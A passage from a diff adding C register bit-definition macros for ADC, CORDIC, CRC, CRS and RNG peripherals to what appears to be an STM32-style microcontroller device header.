the master ADC */ +#define ADC_CSR_EOS_MST_Pos (3UL) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< End of regular sequence flag of the master ADC */ +#define ADC_CSR_OVR_MST_Pos (4UL) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< Overrun flag of the master ADC */ +#define ADC_CSR_JEOC_MST_Pos (5UL) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< End of injected conversion of the master ADC */ +#define ADC_CSR_JEOS_MST_Pos (6UL) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< End of injected sequence flag of the master ADC */ +#define ADC_CSR_AWD1_MST_Pos (7UL) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< Analog watchdog 1 flag of the master ADC */ +#define ADC_CSR_AWD2_MST_Pos (8UL) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< Analog watchdog 2 flag of the master ADC */ +#define ADC_CSR_AWD3_MST_Pos (9UL) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< Analog watchdog 3 flag of the master ADC */ +#define ADC_CSR_JQOVF_MST_Pos (10UL) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< Injected context queue overflow flag of the master ADC */ +#define ADC_CSR_LDORDY_MST_Pos (12UL) +#define ADC_CSR_LDORDY_MST_Msk (0x1UL << ADC_CSR_LDORDY_MST_Pos) /*!< 0x00001000 */ +#define ADC_CSR_LDORDY_MST ADC_CSR_LDORDY_MST_Msk /*!< Voltage regulator ready flag of the master ADC */ +#define ADC_CSR_ADRDY_SLV_Pos (16UL) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< Slave ADC ready */ +#define ADC_CSR_EOSMP_SLV_Pos (17UL) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< End of sampling phase flag of the slave ADC */ +#define ADC_CSR_EOC_SLV_Pos (18UL) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< End of regular conversion of the slave ADC */ +#define ADC_CSR_EOS_SLV_Pos (19UL) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< End of regular sequence flag of the slave ADC */ +#define ADC_CSR_OVR_SLV_Pos (20UL) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< Overrun flag of the slave ADC */ +#define ADC_CSR_JEOC_SLV_Pos (21UL) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< End of injected conversion of the slave ADC */ +#define ADC_CSR_JEOS_SLV_Pos (22UL) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< End of injected sequence flag of the slave ADC */ +#define ADC_CSR_AWD1_SLV_Pos (23UL) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< Analog watchdog 1 flag of the slave ADC */ +#define ADC_CSR_AWD2_SLV_Pos (24UL) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< Analog watchdog 2 flag of the slave ADC */ +#define ADC_CSR_AWD3_SLV_Pos (25UL) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< Analog watchdog 3 flag of the slave ADC */ +#define ADC_CSR_JQOVF_SLV_Pos (26UL) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< Injected context queue overflow flag of the slave ADC */ +#define ADC_CSR_LDORDY_SLV_Pos (28UL) +#define ADC_CSR_LDORDY_SLV_Msk (0x1UL << ADC_CSR_LDORDY_SLV_Pos) /*!< 0x10000000 */ +#define ADC_CSR_LDORDY_SLV ADC_CSR_LDORDY_SLV_Msk /*!< Voltage regulator ready flag of the slave ADC */ + +/******************** Bit definition for ADC_CCR register ********************/ +#define ADC_CCR_DUAL_Pos (0UL) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< Dual ADC mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8UL) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< Delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DAMDF_Pos (14UL) +#define ADC_CCR_DAMDF_Msk (0x3UL << ADC_CCR_DAMDF_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_DAMDF ADC_CCR_DAMDF_Msk /*!< Dual ADC mode data format */ +#define ADC_CCR_DAMDF_0 (0x1UL << ADC_CCR_DAMDF_Pos) /*!< 0x00004000 */ +#define ADC_CCR_DAMDF_1 (0x2UL << ADC_CCR_DAMDF_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_PRESC_Pos (18UL) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC prescaler */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22UL) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< VREFINT enable */ +#define ADC_CCR_VSENSEEN_Pos (23UL) +#define ADC_CCR_VSENSEEN_Msk (0x1UL << ADC_CCR_VSENSEEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_VSENSEEN ADC_CCR_VSENSEEN_Msk /*!< Temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24UL) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< VBAT enable */ +#define ADC_CCR_LFMEN_Pos (25UL) +#define ADC_CCR_LFMEN_Msk (0x1UL << ADC_CCR_LFMEN_Pos) /*!< 0x02000000 */ +#define ADC_CCR_LFMEN ADC_CCR_LFMEN_Msk /*!< Low Frequency Mode Enable, specific ADC4*/ +#define ADC_CCR_VDDCOREN_Pos (26UL) +#define ADC_CCR_VDDCOREN_Msk (0x1UL << ADC_CCR_VDDCOREN_Pos) /*!< 0x04000000 */ +#define ADC_CCR_VDDCOREN ADC_CCR_VDDCOREN_Msk /*!< VDDCode enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0UL) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16UL) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + +/******************** Bit definition for ADC_CDR2 register ******************/ +#define ADC_CDR2_RDATA_ALT_Pos (0UL) +#define ADC_CDR2_RDATA_ALT_Msk (0xFFFFFFFFUL << ADC_CDR2_RDATA_ALT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CDR2_RDATA_ALT ADC_CDR2_RDATA_ALT_Msk /*!< Regular data of the master/slave alternated ADCs */ + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0UL) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4UL) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8UL) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16UL) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17UL) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18UL) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19UL) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20UL) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21UL) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22UL) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31UL) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0UL) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0UL) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0UL) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0UL) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0UL) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3UL) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5UL) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7UL) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0UL) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0UL) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0UL) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1UL) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2UL) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3UL) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5UL) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6UL) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7UL) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8UL) +#define CRS_CR_TRIM_Msk (0x7FUL << CRS_CR_TRIM_Pos) /*!< 0x00007F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0UL) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16UL) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24UL) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28UL) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31UL) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0UL) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1UL) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2UL) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3UL) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8UL) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9UL) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10UL) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15UL) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16UL) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0UL) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1UL) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2UL) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3UL) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2UL) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3UL) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5UL) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7UL) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8UL) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12UL) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13UL) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16UL) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20UL) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << 